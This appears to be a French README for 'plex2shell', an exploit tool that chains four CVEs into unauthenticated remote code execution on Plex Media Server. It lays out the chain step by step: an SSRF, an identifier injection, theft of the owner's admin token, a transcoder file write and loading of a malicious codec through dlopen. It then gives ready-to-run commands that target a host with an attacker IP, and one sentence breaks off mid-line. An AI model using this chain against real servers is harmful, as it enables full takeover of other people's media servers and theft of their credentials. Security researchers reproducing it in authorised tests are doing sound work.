
CVE-2026-96652 CVE-2026-96654 CVE-2026-96655 CVE-2026-96656
Chaîne RCE non authentifiée pour Plex Media Server 1.43.3.10828 et versions antérieures.
CVSS 3.1 : 10.0 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Article : https://zmain.info/blog/plex2shell
Cet outil est publié uniquement à des fins de tests de sécurité autorisés, de recherche universitaire et de défense. Ne l'utilisez que contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test. Les auteurs ne sont pas responsables de l'utilisation abusive ou des dommages causés par cet outil. L'accès non autorisé à des systèmes informatiques est illégal.
| CVE | Primitive |
|---|---|
| CVE-2026-96652 | SSRF non authentifiée via /player/timeline protocol= |
| CVE-2026-96654 | Pivot loopback : garde d'authentification défaillante + injection identifier= dans searchOne |
| CVE-2026-96655 | SSRF du transcodeur authentifié en tant que propriétaire + écriture de fichier à chemin arbitraire (dump-yuv) |
| CVE-2026-96656 | Exécution de code via dlopen d'un codec non signé dans le répertoire de codecs défini |
[internet nu, jeton factice]
|
(1) /player/timeline --- SSRF ---> origine loopback
|
(2) /system/agents/.../searchOne --- injection identifier= --->
| RPC inter-plugins
|
(3) networking.py:149 --- confusion de préfixe 127.0.0.1.* --->
| exfiltration du jeton admin propriétaire
v
l'attaquant détient le jeton admin PROPRIÉTAIRE
|
(4) /video/:/transcode/universal?path=<url> --- SSRF du transcodeur --->
| récupération du média de l'attaquant
|
(5) TranscoderH264Options=dump-yuv --- x264 écrit l'ELF de l'attaquant
| dans le répertoire de codecs défini
v
second transcodage -> dlopen() de chaque *.so -> exécution du constructeur
v
[uid=1000(plex)]
La charge utile est la luma de la trame 0 d'un porteur sans perte (qp=0) que le
ffmpeg, gcc (ou x86_64-w64-mingw32-gcc pour les cibles Windows)# Linux natif (.deb/.rpm) :
python3 plex2shell.py --target 10.0.0.5:32400 --attacker-ip 10.0.0.9
# Docker :
python3 plex2shell.py --target-os linux-docker --target 10.0.0.5:32400 --attacker-ip 10.0.0.9
# Windows :
python3 plex2shell.py --target-os windows --target 10.0.0.5:32400 --attacker-ip 10.0.0.9
# En une seule fois :
python3 plex2shell.py --target 10.0.0.5:32400 --attacker-ip 10.0.0.9 --exec "id; hostname"
--help pour tout le reste.
GPLv3